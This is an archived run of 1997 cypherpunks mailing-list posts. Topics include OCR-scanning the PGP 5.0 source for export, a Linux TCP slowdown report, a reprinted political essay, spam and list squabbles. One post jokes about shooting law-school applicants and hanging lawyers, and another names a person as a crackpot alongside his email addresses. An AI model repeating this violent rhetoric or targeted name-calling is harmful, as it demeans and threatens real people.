Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM+9cF49Co1n+aLhhAQEtSAQAyF1tsGfk7gxtPY20dsdIrrc0nAVcpnDt
zWideMkJG+WsnnFlhFQBWCwMzMswRJJlqxy4shegZDSBgLLuYN+5SVNrRufChFYX
Ob9VS4xWM8lJAewZeH5GNqNokrE2wjhMrkKJ0RDr1f7RvmLN+Bpa6K3/UqtaVYAA
tw1hbhz8teU=
=e/pP
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 12 Aug 1997 05:51:56 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Triple-DES blues (was Re: some hashcash advocacy)
In-Reply-To: <19970809223727.64534@bywater.songbird.com>
Message-ID: <19970811143802.28814@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Aug 11, 1997 at 08:56:07AM +0100, Adam Back wrote:
> 
[...]
> 
> Well here's DES... shouldn't be hard to construct a 3DES out of it
[...]

I will try this.

> 
> How high can you crank up the bit rate?  How about pgp.exe (270k or so
> from pgp263)?

Say 300k.

I think the lower limit would be about twice the imput file size. 
Playing time: suppose each byte in the input was a single note, and,
say 30 notes/sec (damn dense music).  10k seconds.  About 3 hours
long.  Also, 30 notes/sec is too dense for any pitch-to-midi to work.

Not really very practical :-)

> Couldn't you sample voices, and use that through a vocoder?  Say one
> line of the music was DES above which would come out as a real short
> burst... even pgp.exe at 270k wouldn't be that long at stereo CD
> quality sample, right?

Totally different technology than midi, of course.  Certainly you
could treat any data as a sample.  The interesting question to me is
whether anything aesthetically meaningfull could be generated --
pgp.exe as a sound sample would just be a short white noise-ish clip,
probably -- "PGP - the noise".

Once again, there seems to be no practical value to such an encoding,
that I can think of at least, so aesthetics are the only reason to
generate something.  Midi gives you the opportunity of mirroring
textual patterns in sound, and since text is meaningful, the game I am
playing is to try to make a musical meaning out of it.  It's kind of 
fun... 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Tue, 12 Aug 1997 08:23:31 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: Comments on PGP5.0 OCR (was Re: fyi, pgp source now available , internationally)
In-Reply-To: <Pine.SUN.3.96.970811154520.14763I-100000@beast.brainlink.com>
Message-ID: <Pine.LNX.3.95.970811144210.7485B-100000@www.ctrl-alt-del.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 11 Aug 1997, Ray Arachelian wrote:

> On Mon, 11 Aug 1997 nospam-seesignature@ceddec.com wrote:
> 
> > Not quite.  If you read closely, the EAR says something about reserving
> > judgment on OCR publications.  You didn't use a specific OCR font, but you
> > did put all kinds of other OCR helps in, which should by itself cloud the
> > issue.  It would be nice if it was resolved.
> 
> Um, how about a CRC for every character of every line published
> electronically?  (hehehhe...  Oh, and of course we'll use 32 bit CRC's of
> 8 bit characters, of course...)
> 
> Hidden text of this message not visible to feds for those without
> imagination: (yeah, right) all one would need is to build a table of 255
> CRC's, take the 32 bit CRC code and reverse lookup the data. :) 

This sounds absurd but similar things have happened.

The translation team for the Dead Sea Scrolls tried to keep the actual
texts secret so they would be the only ones with the "Official"
translation.  They did, however, publish tables of what words were used
and their location for use by researchers.  A couple of them got the idea
to use the lookup table to reconstruct the text.  The results were a copy
of the original text.  (Needless to say, the "official" translation team
was quite upset.)  It did finally result in the publication of the
scrolls, since the information had been "leaked".

[This sounds like something from RISKS...]

I wonder if it is legal to provide comprehensive cross-references of code.
(Probably not, as the laws seem to be formulated under the legal principle
of "I win, You lose".

alan@ctrl-alt-del.com | Note to AOL users: for a quick shortcut to reply
Alan Olsen            | to my mail, just hit the ctrl, alt and del keys.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Tue, 12 Aug 1997 03:16:33 +0800
To: Cypherpunks Mailing List <cypherpunks@toad.com>
Subject: Re: Can't touch this, ugly Americans! (PGP License file)
In-Reply-To: <199708111344.JAA24033@homeport.org>
Message-ID: <97Aug11.145941edt.32258@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 11 Aug 1997, Adam Shostack wrote:

> First off, congratulations and thanks to Stale and everyone else for
> scanning in the source to PGP5.0i (http://www.ifi.uio.no/pgp/)
> 
> However, theres an ugly problem with the license.
> (http://www.ifi.uio.no/pgp/pgp50i-license.txt)
> 
> In Section 1.c.(d), permission is given to port PGP to other
> platforms.  However, permission to distribute those ports is
> explicitly denied.
> 
> Could the license be modified to allow people who port the software to
> redisctribute ports?  There is enough FUD about using PGP without PGP,
> Inc contributing to that by overly tight licensing.
> 
> Adam

Or what do you do about bugs?  It mentions corrections, but not who to
send them to.

On DEC Alpha/axp under Linux, include/pgpUsuals.h has a test for a big
ULONG_MAX that defines HAVE64 as 1 on 64 bit machines like the alpha

But the very next test has #ifndef HAVE64 where there is a typedef for
word64, which won't happen.  But if HAVE64 is 1, in pgpMD5.c it will
really want word64 defined or it will bomb. 

Something is wrong, but if I copy the typedef, it seems to get further
(compiling as we speak - the old UDBs aren't the fastest alphas).

Now, where should I send this information or the patch?

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nospam-seesignature@ceddec.com
Date: Tue, 12 Aug 1997 03:32:35 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: Comments on PGP5.0 OCR (was Re: fyi, pgp source now available , internationally)
In-Reply-To: <Pine.GSO.3.95.970811120026.29827A-100000@ece>
Message-ID: <97Aug11.152045edt.32259@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 11 Aug 1997, Ryan Anderson wrote:

> On Mon, 11 Aug 1997, Adam Back wrote:
> 
> > How about a book full of 2D barcodes?  
> > 
> > As a plus perhaps the book would be more compact, as you could gzip it
> > first -- the full source tree looks to be over a foot of doublesided
> > paper!

It is about that girth, although I only have the first 5 volumes.  They
should have hand-huffman-coded the source :).

> Well, remember the reason we did this:  to get the code out of the US in a
> way that the government couldn't screw with at all.  Readable text is
> clearly a publication, and thus unrestrictable.  There is a chance,
> however small, that gzip (and tarring I'd assume) the tree and then
> putting it in as text (or bar-coding it) would cloud the issue some.
> (Isn't part of this to do with human-readable as opposed to machien
> readable?)

Not quite.  If you read closely, the EAR says something about reserving
judgment on OCR publications.  You didn't use a specific OCR font, but you
did put all kinds of other OCR helps in, which should by itself cloud the
issue.  It would be nice if it was resolved.

Or if PGP came out with the "PGP crypto source quarterly", now that I have
munge and unmunge :).

> Besides, this way it's easier to spot the errors simply by comparing, with
> bar-codes and such you'd never ever be able to look at the errors yourself
> and find them.

You would normally bury a lot of ECC within the bar codes, so that unless
the dog would eat the page, it would be able to reconstruct the whole, or
even take the "munge" images and barcode those lines.

--- reply to tzeruch - at - ceddec - dot - com ---





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Tue, 12 Aug 1997 06:57:44 +0800
To: cypherpunks@cyberpass.net
Subject: The slippery slope
Message-ID: <v03102804b013e7627b70@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain




		Justice Brennan and the slippery slope


by Joseph Sobran

The legacy of William Brennan, who died last week at 91, is summed up in
the phrase "judicial activism." In an editorial eulogy, The New York Times
praised him for his belief that "the Constitution was a living document
that could and should be interpreted aggressively," as opposed to "the
narrow, static doctrine of original intent, the notion that the
Constitution can best be interpreted through the eyes of the Framers."

Brennan himself attacked the idea of seeking the Framers' original intent
as "arrogance in the cloak of humility." Apparently his own notion of
humility was satisfied by giving the Constitution meanings nobody had ever
suspected it of containing. Or, as he put it, the "genius" of the
Constitution lay in the adaptability of its great principles to cope with
current problems and needs."

In plain language, Brennan imposed his own liberal agenda and said it was
the Constitution speaking. He was ofton able to muster majorities on the
Supreme Court to join him in this judicial ventriloquism. But even when his
goals were worthy, his methods were despotic.

In landmark opinions, Brennan held that the Constitution forbids the states
to apportion their legislatures in their own ways, to define libel as they
see fit, to cut off welfare benefits without a hearing, to ban the
distribution of contraceptives to unmarried people, and to require public
schools to balance the teaching of evolution with the teaching of theistic
doctrines of creation; he also concurred in rulings forbidding the states
to ban abortion and to execute criminals.

Maybe Brennan knew how the states should have been governed better than the
people of the states did. His various positions can be argued as matters of
policy. But it was dishonest for him and his admirers to pretend that these
positions were constitutional imperatives. And that pretense has done
serious damage to the rule of law.

Ideologically predictable, Brennan made the law itself unpredictable. In
pursuit of his own agenda, he overturned settled understandings and ignored
the clear language of the Constitution. His most important rulings usurped
the powers constitutionally reserved to the states and the people thereby
enlarging - unconstitutionally - the powers of the federal judiciary.

Interpreting the Constitution, Brennan once said, "demands of judges more
than proficiency in logical analysis." Maybe so, but it does demand such
proficiency above all other things, and to disparage reason is to abandon
the quest for stable law. Under jurists like Brennan, we are back where we
started: subject to the arbitrary will of men rather than the irnpersonal
rule of law.

True, the states are often badly governed. On many specific issues they
might have been better ruled by a William Brennan armed with dictatorial
powers than they were hy their own legislatures, if results are everything
and procedure doesn't matter.

But there can be no shortcuts through the Constitution. The individual
rights Brennan cherished are often abused. Is that an argument for ignoring
them even when they are enshrined in law?

Liberals insist that banning pornography is a slippery slope to thought
control. But allowing a government to claim powere never granted to it, a
habit now virtually synonymous with liberalism, is far more surely a
slippery slope to tyranny. After all, every totalitarian state says it is
merely trying to "cope with current problems and needs" when it dispenses
with the inconvenience of the rule of law.

The test of an honest jurist is whether he is willing to rule against his
own preferences, deferring, however reluctantly, to what the law requires
in the case at hand. The law may be wrong the legislature may be derelict,
the people may be corrupt; but still, the law is the law and it must be
honored.

But Brennan's rulings were the triumph of preference over deference. He
ruled without the normal regrets of a justice who sometimes feels compelled
to put the law ahead of his personal desires. For him, as for many of his
generation, the office of Supreme Court justice was an irresistible
opportunity to wield power in the guise of interpreting the law.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 11 Aug 1997 23:19:00 +0800
To: mark@unicorn.com
Subject: Re: Comments on PGP5.0 OCR (was Re: fyi, pgp source now available , internationally)
In-Reply-To: <Pine.LNX.3.91.970811105552.3203A-100000@cowboy.dev.madge.com>
Message-ID: <199708111432.PAA00907@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Mark Grant <mark@unicorn.com> writes:
> 
> I just wanted to make a few comments on the proofreading, in case anyone
> feels like releasing software in a similar manner in future:
> 
> [...] the OCR-ed pages at HIP included a per-line
> checksum. This was good... but... it also checksummed the whitespace. 
> This wasn't a problem in theory, because tabs were indicated by a special
> character. However, most lines had both tabs *and* spaces and there was no
> way to see where the spaces were because they were overrriden by the tab
> (e.g. "mov<sp><tab>ax,23<sp><sp><tab><sp><tab>; Stuff"). 

How about a book full of 2D barcodes?  

As a plus perhaps the book would be more compact, as you could gzip it
first -- the full source tree looks to be over a foot of doublesided
paper!

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 12 Aug 1997 05:36:46 +0800
To: cypherpunks@toad.com
Subject: Re: Comments on PGP5.0 OCR (was Re: fyi, pgp source now available , internationally)
In-Reply-To: <97Aug11.152045edt.32259@brickwall.ceddec.com>
Message-ID: <Pine.SUN.3.96.970811154520.14763I-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 11 Aug 1997 nospam-seesignature@ceddec.com wrote:

> Not quite.  If you read closely, the EAR says something about reserving
> judgment on OCR publications.  You didn't use a specific OCR font, but you
> did put all kinds of other OCR helps in, which should by itself cloud the
> issue.  It would be nice if it was resolved.

Um, how about a CRC for every character of every line published
electronically?  (hehehhe...  Oh, and of course we'll use 32 bit CRC's of
8 bit characters, of course...)

Hidden text of this message not visible to feds for those without
imagination: (yeah, right) all one would need is to build a table of 255
CRC's, take the 32 bit CRC code and reverse lookup the data. :) 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 12 Aug 1997 08:49:27 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Masons and Fnords
In-Reply-To: <v03102803b01250d1b62a@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970811170713.14763W-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 9 Aug 1997, Tim May wrote:

> (Why do you think the new standard for secure commerce is called SET?)

Bah, why do you think most UNIX shells have the command SET in them?  All
variables are under Set's influence!  setenv's just Set's son. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Tue, 12 Aug 1997 08:51:37 +0800
To: TruthMailer <tm@dev.null>
Subject: Re: Dr. McVeigh / Re: A peculiar notion
In-Reply-To: <199708110653.AAA22003@wombat.sk.sympatico.ca>
Message-ID: <Pine.BSF.3.91.970811173241.19079A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




> {Warning: Since the side-effects of Black Powder can be substantial,
>  it should only be used in cases where the physician has determined
>  that the benefits of "treatment" outweigh the risks.

Blackpowder is merely a low-order explosive, goof-monger.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dave Ross" <davros@raf.com>
Date: Tue, 12 Aug 1997 09:05:41 +0800
To: <cypherpunks@toad.com>
Subject: Fw: slow network behavior with Linux kernel 2.0.x
Message-ID: <m0wy50o-000sS8C@fred.raf.com>
MIME-Version: 1.0
Content-Type: text/plain



Can any of you help us with this mess?  Linux is not my strong suit. 
Thanks!  My engineer is pulling his hair out.  I would appreciate any
suggestions anyone could make.

-dave ross

davros@raf.com


----------
> From: Bruce Thompson <bt@raf.com>
> To: davros@fred
> Subject: Fw: slow network behavior with kernel 2.0.x
> Date: Tuesday, August 12, 1997 12:18 AM
> 
> 
> 
> ----------
> | From: Bruce Thompson <bt@raf.com>
> | To: linux-kernel@vger.rutgers.edu
> | Cc: linux-net@vger.rutgers.edu
> | Subject: slow network behavior with kernel 2.0.x
> | Date: Thursday, July 31, 1997 4:40 PM
> | 
> | 
> | My company developes a psuedo real-time client-server system that runs
on
> | linux connected through TCP sockets.  I have been noticing it has been
> | taking the data packets quite a while to reach the clients from the
> server.
> |  After trying several different ethernet cards and speeds (TP vs
> thinnet,10
> | vs 100), I have determined that the slow down only occures when the
> server
> | is running with a linux 2.0.x kernel (I have not tried 2.1.x).  Any
> system
> | running up to 1.3.89 runs fine at full speed. I have not yet tested any
> | kernel between 1.3.89 and 2.0.0
> | 
> | From looking at tcpdumps, it appears that packets are not getting acked
> in
> | a timely way.  I have turned off the 'delayed ack' feature of TCP and
> have
> | not seen any improvement.   Here are some tcpdumps
> | 
> | 
> | Example of what I would expect to be normal.
> | 10:42:17.70 server > client: . 1:1461(1460) ack 98 win 31744 (DF)
> | 10:42:17.70 server > client: . 1461:2921(1460) ack 98 win 31744 (DF)
> | 10:42:17.71 client > server: . ack 2921 win 31744 (DF)
> | 10:42:17.71 server > client: . 2921:4381(1460) ack 98 win 31744
> | 10:42:17.71 server > client: . 4381:5841(1460) ack 98 win 31744
> | 10:42:17.71 server > client: . 5841:7301(1460) ack 98 win 31744
> | 10:42:17.72 client > server: . ack 7301 win 31744 (DF)
> | 10:42:17.72 server > client: P 7301:8760(1459) ack 98 win 31744 (DF)
> | 10:42:17.74 client > server: . ack 8760 win 31744 (DF)
> | 
> | Example of time lost with no ack of the first packet causing a 200ms
> delay,
> | and two acks that cause waits of 40ms and 70ms.
> | 
> | 10:42:22.17 server > client: . 8760:10220(1460) ack 1222 win 31744 (DF)
> | 10:42:22.37 server > client: . 8760:10220(1460) ack 1222 win 31744 (DF)
> | 10:42:22.37 client > server: . ack 10220 win 31744 (DF)
> | 10:42:22.37 server > client: . 10220:11680(1460) ack 1222 win 31744
> | 10:42:22.51 client > server: . ack 11680 win 31744 (DF)
> | 10:42:22.51 server > client: . 11680:13140(1460) ack 1222 win 31744
> | 10:42:22.51 server > client: . 13140:14600(1460) ack 1222 win 31744
> | 10:42:22.52 client > server: . ack 14600 win 31744 (DF)
> | 10:42:22.52 server > client: . 14600:16060(1460) ack 1222 win 31744
> | 10:42:22.59 client > server: . ack 16060 win 31744 (DF)
> | 10:42:22.59 server > client: P 16060:17519(1459) ack 1222 win 31744
(DF)
> | 10:42:22.61 client > server: . ack 17519 win 31744 (DF)
> | 
> | Here is a particularly bad example where the same 8760 byte file took
1.7
> | seconds to be transfered.
> | 
> | 10:17:14.95 server > client: . 1:1461(1460) ack 98 win 31744 (DF)
> | 10:17:15.14 client > server: . ack 1461 win 31744 (DF)
> | 10:17:15.14 server > client: . 1461:2921(1460) ack 98 win 31744
> | 10:17:15.14 server > client: . 2921:4381(1460) ack 98 win 31744
> | 10:17:15.44 client > server: . ack 2921 win 31744 (DF)
> | 10:17:15.44 server > client: . 4381:5841(1460) ack 98 win 31744
> | 10:17:15.45 client > server: . ack 2921 win 31744 (DF)
> | 10:17:15.64 client > server: . ack 2921 win 31744 (DF)
> | 10:17:16.08 server > client: . 2921:4381(1460) ack 98 win 31744
> | 10:17:16.27 client > server: . ack 5841 win 31744 (DF)
> | 10:17:16.27 server > client: . 5841:7301(1460) ack 98 win 31744
> | 10:17:16.57 client > server: . ack 7301 win 31744 (DF)
> | 10:17:16.57 server > client: P 7301:8760(1459) ack 98 win 31744 (DF)
> | 10:17:16.59 client > server: . ack 8760 win 31744 (DF)
> | 
> | In general, the system just seems to be slow in responding to this
> network
> | traffic.  This is a private network for these systems so there should
be
> | now problem with other traffic affecting these timings.  With 1.3.x I
see
> | total transit times on the order of 30ms on the 10Mbps network.
> | 
> | The same hardware that runs slowly with 2.0.x will run quickly with
only
> | the kernel changed.
> | 
> | Any ideas as to what could be causing this?
> | 
> | 
> | Thanks,
> | -------------------------
> | Bruce Thompson
> | RAF Technology
> | (206) 867-0700
> | 
> | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ian Sparkes <isparkes@q9f47.dmst02.telekom.de>
Date: Tue, 12 Aug 1997 00:07:01 +0800
To: Adam Back <mark@unicorn.com
Subject: Re: Comments on PGP5.0 OCR (was Re: fyi, pgp source now available , internationally)
In-Reply-To: <Pine.LNX.3.91.970811105552.3203A-100000@cowboy.dev.madge.com>
Message-ID: <3.0.2.32.19970811174614.0068a410@q9f47.dmst02.telekom.de>
MIME-Version: 1.0
Content-Type: text/plain



At 15:32 11.08.97 +0100, Adam Back wrote:
>
>Mark Grant <mark@unicorn.com> writes:
>> 
>> I just wanted to make a few comments on the proofreading, in case anyone
>> feels like releasing software in a similar manner in future:
>> 
>> [...] the OCR-ed pages at HIP included a per-line
>> checksum. This was good... but... it also checksummed the whitespace. 
>> This wasn't a problem in theory, because tabs were indicated by a special
>> character. However, most lines had both tabs *and* spaces and there was no
>> way to see where the spaces were because they were overrriden by the tab
>> (e.g. "mov<sp><tab>ax,23<sp><sp><tab><sp><tab>; Stuff"). 
>
>How about a book full of 2D barcodes?  
>
>As a plus perhaps the book would be more compact, as you could gzip it
>first -- the full source tree looks to be over a foot of doublesided
>paper!
>

How about importing the scanned in source (in electronic form) back into
the States and doing a 'diff' there. This could produce an electronic
patchfile to repair the mistakes in the scanned in code, meaning that the
whole of the code could be cleaned up in one go. This patchfile could then
be exported as it holds no crypto source code. (Somehow this seems *too*
simple. Would this perhaps get up the US gubmint's nose? Have I missed some
nuance or implicit limitation?)


>Adam
>-- 
>Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/
>
>print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
>)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 12 Aug 1997 08:29:49 +0800
To: cypherpunks@toad.com
Subject: Guy Polis
Message-ID: <g6maBe1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



'punks,

There's a crackpot by the name of Guy Polis (guy@panix.com, polis_guy@
jpmorgan.com) who posts a crackpot "cryptographic manifesto" and sounds
like a bad troll intended to make the folks who promote the use of crypto
look like, well, crackpots. Be warned.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Zooko Journeyman <zooko@xs4all.nl>
Date: Tue, 12 Aug 1997 01:10:05 +0800
To: cypherpunks@toad.com
Subject: HIP hip hooray
Message-ID: <199708111643.SAA20068@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain



HIP rocked.  I'm still trying to adjust to the mundanity
of everyday life.  I loved meeting some cpunks in Real
Life.


Here are a couple of relevant URLs.


--Z


http://magazine.dds.nl/english/XArtikel.phtml?ArtID=179&KatID=7
http://magazine.dds.nl/english/XArtikel.phtml?ArtID=156&KatID=7
http://magazine.dds.nl/english/XArtikel.phtml?ArtID=172&KatID=7
http://magazine.dds.nl/english/XArtikel.phtml?ArtID=174&KatID=7
http://magazine.dds.nl/english/XArtikel.phtml?ArtID=187&KatID=7






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 12 Aug 1997 09:52:15 +0800
To: cypherpunks@toad.com
Subject: Re: Guy Polis
In-Reply-To: <g6maBe1w165w@bwalk.dm.com>
Message-ID: <33EFB850.5B50@got.net>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM wrote:
> There's a crackpot by the name of Guy Polis (guy@panix.com, polis_guy@
> jpmorgan.com) who posts a crackpot "cryptographic manifesto" and sounds
> like a bad troll intended to make the folks who promote the use of crypto
> look like, well, crackpots. Be warned.

  Yeah, and like gun-nuts, too!

--Tim May, OTE, RC, KT, GNU-NTU

There's something wrong when I'm a felon under an increasing number of
laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms,
zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information
markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information
superhighway."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Trei <trei@process.com>
Date: Tue, 12 Aug 1997 09:49:48 +0800
To: cypherpunks@toad.com
Subject: Re: Guy Polis
In-Reply-To: <g6maBe1w165w@bwalk.dm.com>
Message-ID: <33EFBC08.7918@process.com>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM wrote:
> There's a crackpot by the name of Guy Polis (guy@panix.com, polis_guy@
> jpmorgan.com) who posts a crackpot "cryptographic manifesto" and sounds
> like a bad troll intended to make the folks who promote the use of crypto
> look like, well, crackpots. Be warned.

Tim May wrote:
>  Yeah, and like we're gun-nuts, too!

Rabid Wombat wrote:
>The mammalian jackass is also claiming that all crypto promoters 
> are marsupials.

  As long as he doesn't accuse us of of being mathematicians...
Does anyone remember what 5 + 7 is equal to? (Send the answer by
encrypted, private email. Secrecy is essential to my work.)

Peter Trei
trei@process.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Tue, 12 Aug 1997 10:05:02 +0800
To: cypherpunks@toad.com
Subject: Re: Guy Polis
In-Reply-To: <g6maBe1w165w@bwalk.dm.com>
Message-ID: <33EFBCAD.5D8@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



Dr.Dimitri Vulis KOTM wrote:
> There's a crackpot by the name of Guy Polis (guy@panix.com, polis_guy@
> jpmorgan.com) who posts a crackpot "cryptographic manifesto" and sounds
> like a bad troll intended to make the folks who promote the use of crypto
> look like, well, crackpots. Be warned.

Tim May wrote:
>  Yeah, and like we're gun-nuts, too!

The mammalian jackass is also claiming that all crypto promoters 
are marsupials.

-rw





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "D.Reynolds" <admin@gw.mailmaster.com>
Date: Tue, 12 Aug 1997 09:11:54 +0800
To: <cypher@infinity.nus.sg>
Subject: Register Your Web Site To Over 590 Search Engines "Instantly" FREE DOWNLOAD
Message-ID: <19970811194440.01a0bb55.in@mailmaster.com>
MIME-Version: 1.0
Content-Type: text/plain


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reply to: remove@gw.mailmaster.com

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Tue, 12 Aug 1997 12:06:20 +0800
To: cypherpunks@toad.com
Subject: Enter the ZDNet Channel Surfing Sweepstakes!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.14507.08111997200008.84538@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain



------------------------------------------------------------------
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------------------------------------------------------------------

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===============================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 12 Aug 1997 12:08:24 +0800
To: cypherpunks@toad.com
Subject: Re: The Right to Bare Arms on "The slippery slope" of Capital Hill
In-Reply-To: <199708120055.CAA02213@basement.replay.com>
Message-ID: <199708120326.WAA10450@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199708120055.CAA02213@basement.replay.com>, on 08/12/97 
   at 02:55 AM, nobody@REPLAY.COM (Anonymous) said:

>p.s. - Or, how about, "If elected, we promise to kill ourselves."?

A much better solution would be to shoot the bastards when they send in
their applications to Law School. Anyone who wants to be a lawer deserves
a rope and a tree to hang from.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM+/J2I9Co1n+aLhhAQHKPQP+JKTdQzodpYdGra3yTLUqkdQ2UNiiy1pR
m9m4bhxJrWAuxVzii2ZOzj0NoFIOnIxKLTUrtVBHigokzPjo/QYh4UC8rBqtfX0L
BUp3amW+enM3VcCfd8So52UhoXncmZ3u0FhvpFA9iLHjz9yZ2KF+2Aeq3lbiYxiJ
0QHPaOdLn/E=
=zNj8
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 12 Aug 1997 14:08:42 +0800
To: cypherpunks@toad.com
Subject: Re: Guy Polis--FORGERY
In-Reply-To: <g6maBe1w165w@bwalk.dm.com>
Message-ID: <v03102800b015a6b8c7d7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:27 PM -0700 8/11/97, Peter Trei wrote:
>Dr.Dimitri Vulis KOTM wrote:
>> There's a crackpot by the name of Guy Polis (guy@panix.com, polis_guy@
>> jpmorgan.com) who posts a crackpot "cryptographic manifesto" and sounds
>> like a bad troll intended to make the folks who promote the use of crypto
>> look like, well, crackpots. Be warned.
>
>Tim May wrote:
>>  Yeah, and like we're gun-nuts, too!

Actually, I didn't write that. Just another forgery from "Toto" (I am
presuming, from past admissions and from the "wombat.sk.sympatico.ca"
origins).

Here are some of the relevant headers. Note also the Organization field.

